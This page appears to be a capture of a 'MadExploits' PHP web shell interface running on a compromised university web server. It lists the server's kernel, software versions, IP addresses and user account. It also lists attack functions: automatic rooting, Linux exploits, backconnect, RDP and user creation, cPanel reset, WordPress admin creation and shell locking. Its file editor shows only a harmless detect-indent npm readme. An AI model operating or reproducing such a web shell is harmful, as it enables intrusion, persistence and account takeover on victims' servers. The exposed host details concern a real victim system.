Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.143.7.112
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
node-detect-indent /
[ HOME SHELL ]
Name
Size
Permission
Action
changelog.Debian.gz
162
B
-rw-r--r--
copyright
1.45
KB
-rw-r--r--
readme.md
2.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.md
# detect-indent [![Build Status](https://travis-ci.org/sindresorhus/detect-indent.svg?branch=master)](https://travis-ci.org/sindresorhus/detect-indent) > Detect the indentation of code Pass in a string of any kind of text and get the indentation. ## Use cases - Persisting the indentation when modifying a file. - Have new content match the existing indentation. - Setting the right indentation in your editor. ## Install ``` $ npm install --save detect-indent ``` ## Usage Here we modify a JSON file while persisting the indentation: ```js const fs = require('fs'); const detectIndent = require('detect-indent'); /* { "ilove": "pizza" } */ const file = fs.readFileSync('foo.json', 'utf8'); // tries to detect the indentation and falls back to a default if it can't const indent = detectIndent(file).indent || ' '; const json = JSON.parse(file); json.ilove = 'unicorns'; fs.writeFileSync('foo.json', JSON.stringify(json, null, indent)); /* { "ilove": "unicorns" } */ ``` ## API Accepts a string and returns an object with stats about the indentation: * `amount` {number} - Amount of indentation, for example `2` * `type` {string|null} - Type of indentation. Possible values are `tab`, `space` or `null` if no indentation is detected * `indent` {string} - Actual indentation ## Algorithm The current algorithm looks for the most common difference between two consecutive non-empty lines. In the following example, even if the 4-space indentation is used 3 times whereas the 2-space one is used 2 times, it is detected as less used because there were only 2 differences with this value instead of 4 for the 2-space indentation: ```css html { box-sizing: border-box; } body { background: gray; } p { line-height: 1.3em; margin-top: 1em; text-indent: 2em; } ``` [Source.](https://medium.com/@heatherarthur/detecting-code-indentation-eff3ed0fb56b#3918) Furthermore, if there are more than one most used difference, the indentation with the most lines is selected. In the following example, the indentation is detected as 4-spaces: ```css body { background: gray; } p { line-height: 1.3em; margin-top: 1em; text-indent: 2em; } ``` ## Related - [detect-indent-cli](https://github.com/sindresorhus/detect-indent-cli) - CLI for this module - [detect-newline](https://github.com/sindresorhus/detect-newline) - Detect the dominant newline character of a string ## License MIT © [Sindre Sorhus](https://sindresorhus.com)
Close